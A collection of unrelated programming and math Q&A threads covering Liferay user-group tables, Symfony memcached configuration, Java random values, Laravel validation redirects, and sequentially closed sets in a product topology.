Q: In which entity the User Group details and user Group roles will save? With reference to following link, https://asifaftab87.wordpress.com/2014/09/22/create-usergroup-programmatically-in-liferay/ I have created the user groups programatically. I wanted to know that in which table in the database the User Group details and User group Roles will get save? If I wish can it possible to add the custom fields for User Group using Expando API?
Any suggestions please.

A: Users are stored in USER_ table:
select * from USER_;

Groups are stored in GROUP_ table:
select * from GROUP_;

Roles are stored in ROLE_ table:
select * from ROLE_;

Simple view of users and their groups:
select USER_.USERID, USER_.SCREENNAME, USER_.EMAILADDRESS, GROUP_.NAME
from USER_, USERS_GROUPS, GROUP_
where USER_.USERID = USERS_GROUPS.USERID and USERS_GROUPS.GROUPID = GROUP_.GROUPID
order by USER_.SCREENNAME;

Simple view of users and their roles:
select USER_.USERID, USER_.SCREENNAME, USER_.EMAILADDRESS, ROLE_.NAME
from USER_, USERS_ROLES, ROLE_
where USER_.USERID = USERS_ROLES.USERID and USERS_ROLES.ROLEID = ROLE_.ROLEID
order by USER_.SCREENNAME;

Custom fields can be added for uses, groups and roles alike.


Q: Create a Cache Provider class in Symfony We have memcache on our Symfony 3.4 app:
cache:
    app: cache.adapter.memcached
    default_memcached_provider: "%app.memcached.dsn%"

However, we've been asked to use several cache servers, so just passing one DSN is no good.
Looking here (https://symfony.com/blog/new-in-symfony-3-3-memcached-cache-adapter), I see you can create it in code like this:
$client = MemcachedAdapter::createConnection(array(
    // format => memcached://[user:pass@][ip|host|socket[:port]][?weight=int]
    // 'weight' ranges from 0 to 100 and it's used to prioritize servers
    'memcached://my.server.com:11211'
    'memcached://rmf:abcdef@localhost'
    'memcached://127.0.0.1?weight=50'
    'memcached://username:the-password@/var/run/memcached.sock'
    'memcached:///var/run/memcached.sock?weight=20'
));

However, that isn't autowired.
I believe we need to either make a provider class, or somehow get it to make calls to addServer($dsn), once instantiated. I also saw the following on random posts:
memcache:
    class: Memcached
    calls:
        - [ addServer, [ %app.memcached.dsn.1% ]]
        - [ addServer, [ %app.memcached.dsn.2% ]]

However it isn't really helping or I have missed something out.
Can anyone help? How do I create this provider class?

A: You can copy above code snippet as a service configuration to your services.yaml, which probably roughly looks like this:
# app/config/services.yaml

services:
    app.memcached_client:
        class: Memcached
        factory: 'Symfony\Component\Cache\Adapter\MemcachedAdapter::createConnection'
        arguments: [['memcached://my.server.com:11211', 'memcached://rmf:abcdef@localhost']]

    app.memcached_adapter:
        class: Symfony\Component\Cache\Adapter\MemcachedAdapter
        arguments:
            - '@app.memcached_client'

Then in your configuration you should be able to reference the adapter using the client created by the factory, e.g. something like:
# app/config/config.yaml

framework:
    cache:
        app: app.memcached_adapter

You might also be able to overwrite the default alias cache.adapter.memcached instead of having your own adapter.
Your approach using Memcached::addServer might work as well, but just like with MemcachedAdapter::createConnection this will return the Client, which needs to be passed to the cache adapter. That's why there is a second service app.memcached_adapter, which is used in the cache configuration.
Please be aware that I have not tested this, so this is rather a rough outline than a fully working solution,

A: For one of my projects running Symfony 3.4 the configuration was simpler:
Create a service that will be used as a client:
app.memcached_client:
    class: Memcached
    factory: ['AppBundle\Services\Memcached', 'createConnection']
    arguments: ['memcached://%memcache_ip%:%memcache_port%']

The AppBundle\Services\Memcached can have all the custom logic I need like so:
class Memcached
{
    public static function createConnection($dns)
    {
        $options = [
            'persistent_id' => 'some id'
        ];

        // Some more custom logic. Maybe adding some custom options
        // For example for AWS Elasticache

        if (defined('Memcached::OPT_CLIENT_MODE') && defined('Memcached::DYNAMIC_CLIENT_MODE')) {
            $options['CLIENT_MODE'] = \Memcached::DYNAMIC_CLIENT_MODE;
        }

        return \Symfony\Component\Cache\Adapter\MemcachedAdapter::createConnection($dns, $options);
    }
}

And then I used that service in my config.yml:
framework:
    cache:
        default_memcached_provider: app.memcached_client


Q: How to access a random generated integer from other class without generating other random number I have two classes
Class 1
public class Random {

    public static int random() {
        Random random = new Random();
        return random.nextInt(10);
    }
    public static int number = random();
}

And Class 2
public class SecondClass {

    static int generatedNumber = Random.number;

    public static void main(String[] args) {

            System.out.println(generatedNumber);
    }
}

Every time I try to access the generatedNumber variable of Class 2 from a third Class, the number I get is different and not the one received in Class 2.
My question is how I can make the number generated in Class 2 persist to be able to call it from other Classes and that it is always the same number generated in Class 2.

A: You asked me to show you:
public class FixRandom {

    // Holds the fixed random value.
    private final int fixedValue;

    // Upper bound for the RNG.
    private static final int BOUND = 10;

    // Constructor.
    public FixRandom() {
        // Set the fixed random value.
        Random rand = new Random();
        fixedValue = rand.nextInt(BOUND);
    }

    // Method to access the fixed random value.
    public int getFixRandom() {
        return fixedValue;
    }

}

When you need to retrieve the number, use the getFixRandom() method.


Q: how to redirect to a specefic route when validator failed in laravel 5.3? I am trying to register user from index page but When validator failed then want to redirect to register page.
I am tired to solve this problem . can't customize Illuminate/Foundation/Validation/ValidatesRequests.php page.
Here is the code
protected function getRedirectUrl() {
  return route('register');
}
protected function validator(array $data) {
  $this->getRedirectUrl();
  return Validator::make($data, [ 'name' => 'required|max:255', 'email' => 'required|email|max:255|unique:users', 'password' => 'required|min:6|confirmed', ]);
}

A: add the below method which generate the previous url in your controller and override the default one add following methods in your controller
in your controller where you have defined $this->validate call define below method and use Request
use Illuminate\Http\Request; // add at the top

protected function getRedirectUrl() {
  return route('register');
}

protected function validator(array $data) {
  return $this->validate(request(), [ 'name' => 'required|max:255', 'email' => 'required|email|max:255|unique:users', 'password' => 'required|min:6|confirmed', ]);
}

public function register(Request $request)
{
    $this->validator($request->all());

    event(new Registered($user = $this->create($request->all())));

    $this->guard()->login($user);

    return $this->registered($request, $user)
        ?: redirect($this->redirectPath());
}


Q: a set containing every limit points but not closed I know that $[0,1]^{\Bbb R}$ with the product topology is not 1st countable.
What I want now is to find a subset of $[0,1]^{\Bbb R}$ which is not closed but has all limit points. Does such a set exist? Then, what is it?

A: In general topology limit points are not defined solely by sequences, but rather by a much stronger construction called nets.
In turns it is equivalent to say "closed" and "contains all limit points of nets". It seems, to me, that you are asking for a sequentially-closed set which is not closed. Where "sequentially-" prefix means that we only require convergent sequences to have limit points.
Such sets exist, mainly because you already know that the space is compact and not first-countable and therefore sequentially-closed is not equivalent to closed anymore.

A: You can consider the set of $(x_i)$ such that $x_i=0$, for all i except possibly a countable family.
This is sequentially closed (because a countable union of countable set is countable)
and this is dense (hence not closed) :
any open of the basis is of the form : "the set of $(x_i)$ such that $x_{i_1} \in U_1 ... x_{i_n} \in U_n $ " so you can always find an element which is nul everywhere except on a finite set in it.